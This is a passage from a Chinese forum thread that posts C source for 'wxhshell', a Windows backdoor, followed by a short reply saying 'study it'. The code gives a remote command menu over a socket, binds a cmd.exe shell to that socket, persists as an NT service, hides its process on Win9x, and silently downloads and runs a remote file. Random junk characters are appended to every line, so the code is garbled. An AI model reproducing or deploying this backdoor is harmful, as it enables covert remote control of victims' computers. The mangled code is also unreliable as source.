  if(DownloadFile(cmd,wsh)) }Hcx=}j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E(^0B(JF  
  else kV&9`c+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M\D]ml~  
  } iwF9[wAft  
  else { @;Opx."  
h|;qG)f^  
    switch(cmd[0]) { y\c"b-lQX  
  Q2|p \rO  
  // 帮助 TNwK da+  
  case '?': { Ykqyk')wm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?KE$r~dn  
    break; LT@OWH  
  } =L-I-e97@  
  // 安装 T7*wS#z)h  
  case 'i': { ?> D tw#}  
    if(Install()) d_z 59  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )_7>nuQ6  
    else u1^wDc*xg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {QAv~S>4  
    break; 2 QTZwx  
    } wBSQ:f]g  
  // 卸载 =aG xg57  
  case 'r': { #*%q'gyHT  
    if(Uninstall()) tY|8s]{2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~x:DXEV,  
    else w.{&=WTr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v-b0\_  
    break; lUOvm\  
    } $md%x mQ[  
  // 显示 wxhshell 所在路径 iq$$+y,  
  case 'p': { ,m3e?j@;r  
    char svExeFile[MAX_PATH]; PmpNAVE'  
    strcpy(svExeFile,"\n\r"); z+{,WHjo  
      strcat(svExeFile,ExeFile); / |r'  
        send(wsh,svExeFile,strlen(svExeFile),0); Guw}=l--YR  
    break; )cJ#-M2  
    } }_'IE1bA  
  // 重启 W_|0y4QOo  
  case 'b': { 0% L l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fxcc<h4  
    if(Boot(REBOOT)) CY:d`4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~uWOdm-"[  
    else { 13k !'P  
    closesocket(wsh); !^oV #  
    ExitThread(0); kOwMs<1J  
    } g=L]S-e  
    break; /phX'xp  
    } thlY0XCq,%  
  // 关机 ;|T!#@j  
  case 'd': { &)d$t'7p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); VosZJv=  
    if(Boot(SHUTDOWN)) f|7\DeY9U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #N(= 3Cj  
    else { \>. LW9  
    closesocket(wsh); 1/+C5Bp*  
    ExitThread(0); {$D,?V@%_  
    } > et-{(G  
    break; *iO u'  
    } 2&mGT&HAVA  
  // 获取shell 6RO(]5wX  
  case 's': { C$h<Wt=<  
    CmdShell(wsh); HAzBy\M{  
    closesocket(wsh); |077Sf|  
    ExitThread(0); 3rW|kkn  
    break; 'NjzgZ~]P  
  } S^@S%Eg  
  // 退出 !^#jwRpeN  
  case 'x': { C@ZK~Y_g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 96cJ8I8  
    CloseIt(wsh); {6;9b-a]  
    break; `_I@i]i^  
    } Qf M zF  
  // 离开 OVzt\V*+%W  
  case 'q': { g,t jm(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b \KL;H/  
    closesocket(wsh); GG064zPq7  
    WSACleanup(); ?liK\C2Z<  
    exit(1); lz#GbXn.  
    break; V]OmfPve  
        } - Xu.1S  
  } z<sg0K8z63  
  } QZp6YSz.4  
: JzI>/  
  // 提示信息 >WJf=F`_H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K5ZC:Ks  
} l:0s2  
  } [v7^i_d  
$E<Esf$  
  return; fqX"Lus `=  
} y.5/?{GL  
}VS3L_ ;}/  
// shell模块句柄 O<PO^pi  
int CmdShell(SOCKET sock) 6vuq1  
{ [Aj Q#;#Q  
STARTUPINFO si; j Uv!9Y}F  
ZeroMemory(&si,sizeof(si)); 4(e59ZgY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4a0:2 kIKa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MObt,[^W  
PROCESS_INFORMATION ProcessInfo; ]V %.I_  
char cmdline[]="cmd"; WARb"8Kg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \P} p5k[  
  return 0; 3 &u_A?;  
} _{t9 x\=  
M` q?Fk  
// 自身启动模式 E J$36  
int StartFromService(void) 1c3TN#|)W  
{ >_rha~   
typedef struct N8qDdr9p?c  
{ 8h3=b[  
  DWORD ExitStatus; P 71(  
  DWORD PebBaseAddress; [Vd[-  
  DWORD AffinityMask; *Do/+[Ae  
  DWORD BasePriority; ;Op3?_  
  ULONG UniqueProcessId; +4[^!q* H  
  ULONG InheritedFromUniqueProcessId; Vd".u'r  
}   PROCESS_BASIC_INFORMATION; b KTcZG  
LmlXMia  
PROCNTQSIP NtQueryInformationProcess; sK{l 9  
8^Hn"v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V fv@7@q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G+B~Ix-  
M02uO`Y9  
  HANDLE             hProcess; a#mNE*Dg  
  PROCESS_BASIC_INFORMATION pbi; F'g Vzf  
,yd MU\so(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]| N3eu  
  if(NULL == hInst ) return 0; SH*C"  
:[ k4Z]t8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2*(Z==XC7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u@ jX+\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^TMJ8` e  
 `:P  
  if (!NtQueryInformationProcess) return 0; hN['7:bQ  
3qY K_M^[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V"p!B f  
  if(!hProcess) return 0; 1;Pv0&[q/  
QO"oEgB`+Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qB)"qFa  
GN KF&M  
  CloseHandle(hProcess); qo<&J f  
*x)Ozfe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UzXE_ S  
if(hProcess==NULL) return 0; 4iW'kuK  
J_>w3uY  
HMODULE hMod; SIbDj[s  
char procName[255]; )c l5B{1P  
unsigned long cbNeeded; Zy|Mz&  
>A0k 8T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "NgoaG~!YO  
sXd8rj:o  
  CloseHandle(hProcess); rr#K"SP  
 ;raN  
if(strstr(procName,"services")) return 1; // 以服务启动 B||;'  
-P&6L\V  
  return 0; // 注册表启动 Lm@vXgMD  
} 9f\/\L  
W8lx~:v  
// 主模块 7' S@3   
int StartWxhshell(LPSTR lpCmdLine) =)hVn  
{ 3!5Ur&  
  SOCKET wsl; O?<&+(uMTT  
BOOL val=TRUE; _fZZ_0\Q  
  int port=0; WK="J6K5  
  struct sockaddr_in door; *^([ ~[  
',GS#~  
  if(wscfg.ws_autoins) Install(); "5eNLqt^q  
Q}S_%I}u:  
port=atoi(lpCmdLine); qF 9NQ;  
54rkC/B>  
if(port<=0) port=wscfg.ws_port; C> [ Uvc  
_|"Y]:j_  
  WSADATA data; a>mm+L 8y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C&++VRnm  
7LO%#No",  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C/(M"j M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]v#r4Ert  
  door.sin_family = AF_INET; c1%H4j4/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *>VVt8*Et  
  door.sin_port = htons(port); _ Ro!"YVX  
&W f3~hmo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >5Wlc$bc  
closesocket(wsl); V7TVt,-3  
return 1; \,J/ r!  
} F @Te@n  
 iD= p\  
  if(listen(wsl,2) == INVALID_SOCKET) { >Z1q j>  
closesocket(wsl); &qS[%K )  
return 1; W cC?8X2  
} JWA@+u*k  
  Wxhshell(wsl); `# sTmC)  
  WSACleanup(); F4Y @ B  
",{ibh)g$`  
return 0; o[E_Ge}g8  
<(vCiH9~P  
} Q:ezifQ  
6%Be36<  
// 以NT服务方式启动 !~Q2|r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vSonkJ_  
{ 3_q3Bk  
DWORD   status = 0; Jk0r&t7  
  DWORD   specificError = 0xfffffff; .rPn5D Y  
wO2_DyMm@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; waKT{5k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $ "Bh]-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QMEcQV>  
  serviceStatus.dwWin32ExitCode     = 0; (|wz7 AY2  
  serviceStatus.dwServiceSpecificExitCode = 0; S~]mWxgZ  
  serviceStatus.dwCheckPoint       = 0; WW~+?g5  
  serviceStatus.dwWaitHint       = 0; ~Y.tz`2D  
fvb=#58N_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tl'n->G>v  
  if (hServiceStatusHandle==0) return; C{2xHd/*  
qYhs|tY)  
status = GetLastError(); OM{WI27  
  if (status!=NO_ERROR) inlk++Og  
{ /*|oL# hK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ki>~H!zB  
    serviceStatus.dwCheckPoint       = 0; #2iD'>bQ  
    serviceStatus.dwWaitHint       = 0; wp7!>% s{  
    serviceStatus.dwWin32ExitCode     = status; |a{Q0:  
    serviceStatus.dwServiceSpecificExitCode = specificError; )/t?!T.[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @(C1_  
    return; GElvz'S~  
  } UU8pz{/  
I7^zU3]Ul  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pu,?<@0YK  
  serviceStatus.dwCheckPoint       = 0; 0EJ(.8hwm  
  serviceStatus.dwWaitHint       = 0; 7)%+=@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h_d<!  
} fb  da  
Xv@SxS-5l  
// 处理NT服务事件,比如:启动、停止 BPr ^D0P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xJ2*LM-  
{ Ma| qHg  
switch(fdwControl) I}2P>)K  
{ P9T5L<5  
case SERVICE_CONTROL_STOP: .Yw'oYnS  
  serviceStatus.dwWin32ExitCode = 0; F]O$(7*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Su 5>$  
  serviceStatus.dwCheckPoint   = 0; Pl-5ncb\  
  serviceStatus.dwWaitHint     = 0;  )J?{+3  
  { 0kDK~iT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HHjt/gc}`  
  } Lr`1TH,  
  return; DQwGUF'(  
case SERVICE_CONTROL_PAUSE: y$<Vha  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ttXjn  
  break; gT/@dVV  
case SERVICE_CONTROL_CONTINUE: ]; %0qb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KsrjdJx, '  
  break; ^*~;k|;&  
case SERVICE_CONTROL_INTERROGATE: n4lutnF  
  break; |j3'eW&=  
}; 0j(M* sl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <5=JE*s$NS  
} /*Qq[C  
XlI!{qj|  
// 标准应用程序主函数 R}mn*h6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^s.V;R  
{ mZIoaF>t  
n&MG7`]N  
// 获取操作系统版本 e?bYjJ q  
OsIsNt=GetOsVer(); 5sPywk{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P,=+W(s9}  
wM[~2C=vx  
  // 从命令行安装 bxK(9.  
  if(strpbrk(lpCmdLine,"iI")) Install(); E+C5 h ;p&  
i@NqC;~;  
  // 下载执行文件 CQ;]J=|<_  
if(wscfg.ws_downexe) { [7m1Q<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6 n1rL  
  WinExec(wscfg.ws_filenam,SW_HIDE); 20rkKFk*  
} {G*A.$-d  
ceGa([#!\_  
if(!OsIsNt) { e4FM} z[  
// 如果时win9x,隐藏进程并且设置为注册表启动 PM":Vd/  
HideProc(); )6~1 ^tD  
StartWxhshell(lpCmdLine); K\XyZ  
} ;@h0qRXW:h  
else :R):b  
  if(StartFromService()) ,&U4a1%i#c  
  // 以服务方式启动 Hqh6:RuL  
  StartServiceCtrlDispatcher(DispatchTable); V 0nn4dVO  
else 2k6 X,  
  // 普通方式启动 1+`l7'F  
  StartWxhshell(lpCmdLine); ^w~23g.  
9;%CHb&  
return 0; *c[2C  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五